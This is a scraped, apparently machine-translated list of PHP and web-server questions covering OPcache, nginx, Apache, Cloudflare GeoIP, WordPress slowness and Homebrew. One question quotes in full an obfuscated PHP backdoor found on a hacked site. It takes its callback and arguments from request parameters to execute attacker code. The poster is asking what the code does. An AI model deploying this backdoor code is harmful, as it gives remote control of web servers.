Articles of PHP

Opcache是​​否修复了eAccelerator和XCache的内存泄漏错误?

XCache和eAccelerator都有一个内存泄漏漏洞,即使在文件中执行的代码在每次执行时都没有使用任何内存,如果在一个循环中include相同的文件几十次,将会泄漏内存。 (没有eAccelerator或XCache的完全相同的脚本不会泄漏内存) 我用eAcceleratorreplace了XCache,起初我没有观察到这个bug,但是出现了。 OPCache有这个问题吗?还是会有同样的问题? 我使用PHP 5.4.29如果是这样,我可以从PECL安装OPCache,它将与PHP 5.5+捆绑在一起(即没有内存泄漏),还是我必须升级到PHP 5.5或更高?

info.php文件在Mac上找不到nginx和php

我试图把php文件info.php放在/usr/local/www/nginx文件夹中。 对于http://test.com/info.phpurl,它给了我错误404 – Not found 。 我可以访问url http://test.com index.html文件 我在nginx.conf文件中的服务器configuration如下。 server { listen 80; server_name test.com www.test.com; root /usr/local/www/nginx; index index.php index.html index.htm; location / { try_files $uri $uri/ =404; } error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/local/www/nginx-dist; } location ~ \.php$ { try_files $uri =404; fastcgi_split_path_info ^(.+\.php)(/.+)$; fastcgi_pass unix:/var/run/php-fpm.sock; […]

PHP在Centos 7上不能和Apache一起工作

我在centos 7上,并从yum安装httpd服务(2.4.6)没有问题,我不得不从不同的repo remi安装PHP来安装php 5.6。 PHP的作品在命令行和httpd服务正在运行,但所有的PHP没有被执行,没有任何日志中的错误,并且下面的php.conf存在。 AddHandler php5-script .php AddType text/html .php <IfModule mod_php5.c> <FilesMatch \.php$> SetHandler application/x-httpd-php </FilesMatch> </IfModule> 我一直在这个小时现在绕圈,似乎无法看到在哪里断开apache和php是,任何帮助非常感谢。

安装后找不到php -v返回命令

我下载了最新的稳定的PHP 7版本。 然后安装所有依赖关系: ./buildconf ./configure \ –prefix=$HOME/php7/usr \ –with-config-file-path=$HOME/php7/usr/etc \ –enable-mbstring \ –enable-zip \ –enable-bcmath \ –enable-pcntl \ –enable-ftp \ –enable-exif \ –enable-calendar \ –enable-sysvmsg \ –enable-sysvsem \ –enable-sysvshm \ –enable-wddx \ –with-curl \ –with-mcrypt \ –with-iconv \ –with-gmp \ –with-pspell \ –with-gd \ –with-jpeg-dir=/usr \ –with-png-dir=/usr \ –with-zlib-dir=/usr \ –with-xpm-dir=/usr \ –with-freetype-dir=/usr \ –with-t1lib=/usr […]

nginx GEOIP在cloudflare proxy后面显示错误的国家(不是最终用户,但是如果代理)

我正在使用Cloudflare和nginx geoip指令: geoip_country /usr/local/share/GeoIP/GeoIP.dat; geoip_city /usr/local/share/GeoIP/GeoLiteCity.dat; 他们正在selectIP(因为请求在标题中被标记为转发,因为是pipaddress ),但是将国家显示为SG(cloudflare代理位置)。 反正如果头HTTP_X_FORWARDED_FOR被设置,以获得最终用户的coutnry? <?php if (getenv(HTTP_X_FORWARDED_FOR)) { $pipaddress = getenv(HTTP_X_FORWARDED_FOR); $ipaddress = getenv(REMOTE_ADDR); echo "Your IP address is : ".$pipaddress. " (via proxy $ipaddress) " ; } else { $ipaddress = getenv(REMOTE_ADDR); echo "Your IP address is : $ipaddress"; } $country = getenv(GEOIP_COUNTRY_NAME); $country_code = getenv(GEOIP_COUNTRY_CODE); echo "<br/>Your country […]

如何检测缓慢的代码或插件

我没有太多的WordPress经验,我不知道从哪里开始。 有一个网站运行非常慢。 托pipe公司帮我检测到,这是因为一些代码尝试连接到IP 85.214.232.25 ,这是phat-reaction.com ,但它不能,并且它在生成页面时。 这是一个非常标准的WordPress安装运行主题信仰 。 它安装了一些合理的插件:简易列,Formularze( https://ideasilo.wordpress.com/ ),由ARScode免费社会滑块,谷歌分析,Jetpack的WordPress.com,MailPoet的通讯,PWA + PHP的Picasa的networking相册简单的自定义邮政顺序,简单的灯箱,阻止垃圾邮件发送者垃圾邮件控制,交通计数器小工具,WordPress点击计数器,WP优化,Youtube播放列表大拇指。 他们似乎都没有关系到phat-reaction.com。 还有可能是坏的代码被注入了一些小部件,或者在其他地方看? 是否有可能从WordPress帐户debugging它不知何故? 我可能会grep的代码,但首先,我现在没有访问SSH,其次,坏的代码片段可以存储在数据库中。

PHP文件(符号链接)显示为文本

这是不一样的其他问题,如“PHP文件显示文本或不执行”。 在我的情况下,PHP文件确实工作正常。 但是,文件(符号链接)的PHP文件不起作用。 例如,正常的.php文件正在工作。 # ls -al lrwxrwxrwx 1 ftomd psacln 9 Jul 21 2010 ystalyfera -> index.php lrwxrwxrwx 1 ftomd psacln 9 Jul 21 2010 ystradgynlais -> index.php 正如你可以在上面看到的,网站是自定义编码,所有内部页面符号链接到主index.php文件。 这些符号链接文件不工作,并显示为文本文件。 使用Apache 2.2和php 5.3在另一个服务器上工作的脚本(从那里迁移)。 新的服务器有Apache 2.4和PHP 5.4(dso),CentOS 7和Plesk 12.5 我错过了什么? 有什么build议么?。 请让我知道,如果你需要更多的细节。 谢谢阿卜杜勒

PHP脚本 – 我被黑客

这是我在每个网站文件夹的根目录下find的PHP脚本。 脚本名称是fcb.php 内容是: <? $GLOBALS['_1303753477_']=Array(base64_decode('YX' .'JyYXlfZGlmZl91a2V5'),base64_decode('c3RyaXBz' .'bG' .'F' .'z' .'aGVz')); ?><? function _1935386521($i){$a=Array('cGFzc3dvcmQ=','cmVfcGFzc3dvcmQ=','bG9naW4=');return base64_decode($a[$i]);} ?><?php @$GLOBALS['_1303753477_'][0](@array((string)$_REQUEST[_1935386521(0)]=>round(0+0.25+0.25+0.25+0.25)),@array((string)$GLOBALS['_1303753477_'][1]($_REQUEST[_1935386521(1)])=>round(0+0.4+0.4+0.4+0.4+0.4)),$_REQUEST[_1935386521(2)]); ?> 有人可以解释这是什么吗? 谢谢。

如何在Nginx中将Cloudflare IP作为额外的FastCGI参数存储?

我需要能够知道连接到我的服务器的Cloudflare IP。 这是我可以确定是否通过Tor进行连接。 要做到这一点,我需要发送客户端连接到的IP的工具。 这不是我的服务器的IP,也就是Cloudflare入口代理的IP,这就是为什么我要通过fastcgi传递Cloudflare IP。 https://www.torproject.org/projects/tordnsel.html.en 我有一个块,看起来像这样: # Preserve Cloudflare IP fastcgi_param CF-Proxy-IP $remote_addr; fastcgi_param TEST "abc123"; # CloudFlare set_real_ip_from 199.27.128.0/21; set_real_ip_from 173.245.48.0/20; set_real_ip_from 103.21.244.0/22; set_real_ip_from 103.22.200.0/22; set_real_ip_from 103.31.4.0/22; set_real_ip_from 141.101.64.0/18; set_real_ip_from 108.162.192.0/18; set_real_ip_from 190.93.240.0/20; set_real_ip_from 188.114.96.0/20; set_real_ip_from 197.234.240.0/22; set_real_ip_from 198.41.128.0/17; set_real_ip_from 162.158.0.0/15; set_real_ip_from 104.16.0.0/12; set_real_ip_from 172.64.0.0/13; set_real_ip_from 2400:cb00::/32; set_real_ip_from 2606:4700::/32; set_real_ip_from 2803:f800::/32; set_real_ip_from […]

在安装后添加IMAP支持brew brew

可能与这个问题有关 ,但是我需要一些澄清。 我使用brew的php54pipe理Mac Mini服务器。 我没有安装; 开发人员已经离开了公司。 因此,我不知道PHP编译的是什么扩展,因为服务器正在使用,我不想破坏它。 是否可以安装–with-imap支持而不丢失任何当前的扩展? 例如,如果它运行brew install php54 –with-mcrypt ,将brew reinstall php54 –with-imap删除mcrypt? 如果它将失去扩展,是否有可能find什么PHP编译,重新创buildbrew安装命令?